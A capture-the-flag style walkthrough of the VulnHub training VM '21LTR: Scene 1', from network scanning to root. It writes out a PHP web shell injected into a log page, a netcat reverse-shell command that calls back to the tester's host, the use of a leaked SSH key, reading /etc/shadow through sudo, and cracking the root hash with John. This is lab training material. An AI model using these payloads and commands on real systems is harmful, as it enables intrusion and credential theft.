The purpose of this article is to describe, for educational purposes (see disclaimer), the pentesting of a vulnerable image created for training purposes called “21LTR: Scene 1”.

Information

https://www.vulnhub.com/entry/21ltr-scene-1,3/

Scene 1

Your pentesting company has been hired to perform a test on a client company’s internal network. Your team has scanned the network and you have been assigned one of the discovered systems. Perform a test on this system starting from the beginning of your chosen methodology and submit your report to the project manager at scenes AT 21LTR DOT com

Scope Statement

The client has defined a set of limitations for the pentest: – All tests will be restricted to the systems identified on the 192.168.2.0/24 network. – All commands run against the network and systems must be supplied in the form of script files packaged with the submission of the report – A final report indicating all identified vulnerabilities and exploits will be provided to the company’s engineering department within 90 days of the start of this engagement.

Configuration

Scenario Pentest Lab Scene 1:

This LiveCD is configured with an IP address of 192.168.2.120 – no additional configuration is necessary.

Download

ISO image

Torrent file (Magnet)

I am going to skip the configuration process because it is trivial and it is not the purpose of this article.

All the used for this article are or can be installed in a Kali Linux distribution.

Once we have both machines running, our Kali Linux and the training image, the first step should be checking if they are in the same network and we can see the training machine from testing machine. We can use the “ping” command or the “netdiscover” command, just to list a couple of them. In my case, I have used “netdiscover”:

netdiscover -i eth1 -r 192.168.2.0/24

After we are sure we can reach the training machine, the first step is to take a look around checking the web page there is available. In this case the web page give us a few information and nothing interesting but, the source code os the page give us the first good information. As a comment in the page, we can find some credentials

There is nothing else to do here but to be sure we are not missing some pages or folders let’s run a different tools against the web page to check it. The tool is going to be “dirb”

dirb http://192.168.2.120

We can see that a couple of folders have been found, but the only one that seems to respond in the browser is the “/logs”. Unfortunately, returns a “Forbidden” error.

It is time to start exploring what the training system is offering. For this purpose, I am going to use “nmap”.

nmap -p 1-65535 -T4 -A -v 192.168.2.120

As we can see, there are a few port open in the training machine:

• 21: FTP service
• 22: SSH service
• 80: HTTP service
• 10001: In this point, I am not sure what is this. In addition, it does not show always in the scanner results.

Considering we have some credential, lets try to connect to the different services. There is no luck with the SSH access but the FTP allows us to connect and try to explore. Unfortunately, we can just file one file.

Considering we have found a folder “/logs” previously and we have found a file called “backup_log.php”, one good idea is to try the URL we can build with them.

http://192.168.2.120/logs/backup_log.php

It looks like some kind of backup log system, but it is not giving us enough information to do anything else.

At this point, I must recognize that I was a bit lost and running out of ideas, then, in the meantime I went for a walk I left the “Wireshark” tools running. Why? Because both are good ideas, go for a walk when you are block and because you never know what you can find in the network. After taking a look to the traffic I saw some (a lot) calls asking for the IP address “192.168.2.240”.

At this point, I decided to change the IP of my testing machine to this address and turn on again the “Wireshark” to see what happen and, I have one interesting event. Apparently the training machine wants to establish a connection with “192.168.2.240” (my machine now) with the port 10000.

Then, lets allow this connection to see what happen. To allow this, let’s execute “necat” and wait again.

nc -lvvp 10000 > output

Here wee can see the connection is done in some point and we have what it looks like a binary file called “output”. After a some investigation, we can see it is a “tar.gz” file (using exiftool) and we cannot find anything interesting in the file, but it is clear that it is a backup file.

exiftool --list output

Linking that in the “nmap” there is a port 10001 we do not know what it is, we have in the server a page that shows backup result messages and that we are obviously downloading a backup file, we can infer that maybe the port 10001 just open when its waiting for a response about the sent backup. To test this theory, let’s try to connect to the port 10001 when the backup is sent. Because we do not know when it is going to be send, let’s just try to connect multiple times.

while true; do nc -v 192.168.2.120 10001 && break; sleep 1; clear; done

After a few minutes, the connection is stablished and we can type a few instructions.

Apparently, they are doing nothing but, when we go again to the backup log messages pages we can see what we have been typing.

Then, let’s try to type something that allow us to do something useful and to have access to the training machine. Let’s try to inject a PHP on-line webcell:

<?php echo exec($_GET["cmd"]);?>

And type something to check if it is working.

curl --silent 192.168.2.120/logs/backup_log.php?cmd=id

As we can see (end of the image) we are connected as “apache” to the training machine. Now, let’s try to have a proper shell where to execute command and take a look properly to the system. We are going to a port in our system and try to connect with a shell process from the training machine.

nc -lvvp 443

curl --silent 192.168.2.120/logs/backup_log.php?cmd=/usr/bin/nc%20192.168.2.240%20443%20-e%20/bin/sh

And, success, we have our shell.

The next step it is to try to find the credential files and see their content but, unfortunately, we can just list the file “/etc/passwd” and the credentials are (I guess) in “/etc/shadow” that I cannot list.

Our next step is going around the machine to see what we can find. In this case, after some exploration, we can find a folder “/media/USB_1/Stuff/Keys” with two very interesting files:

• authorized_keys: With the key of the authorized users to connect with SSH. In this case “hbeale”
• id_rsa: The private key to connect to SSH

Coping the key to our system we can try to connect.

ssh hbeale@192.168.2.120

Checking what command we can execute as “sudo”. We can see we can use the tools “cat” to read file content.

sudo -l

Then, let’s check the file “/etc/shadow” again.

Here we can see the hash for the “root” user and copy it to a file in our system (root_password). Let’s try to increase our privileges cracking the hash with “John” (the tools John) and using one of the dictionaries that comes with Kali.

john --wordlist=rockyou.txt root_password

We are lucky, John has done its job properly and we have the password “formula1”. Let’s try it.

With this our scenario finish. We have access to the machine and we have root permissions, our job is done. It has been funny and frustrating but I do not thing there would be the first one without the second one.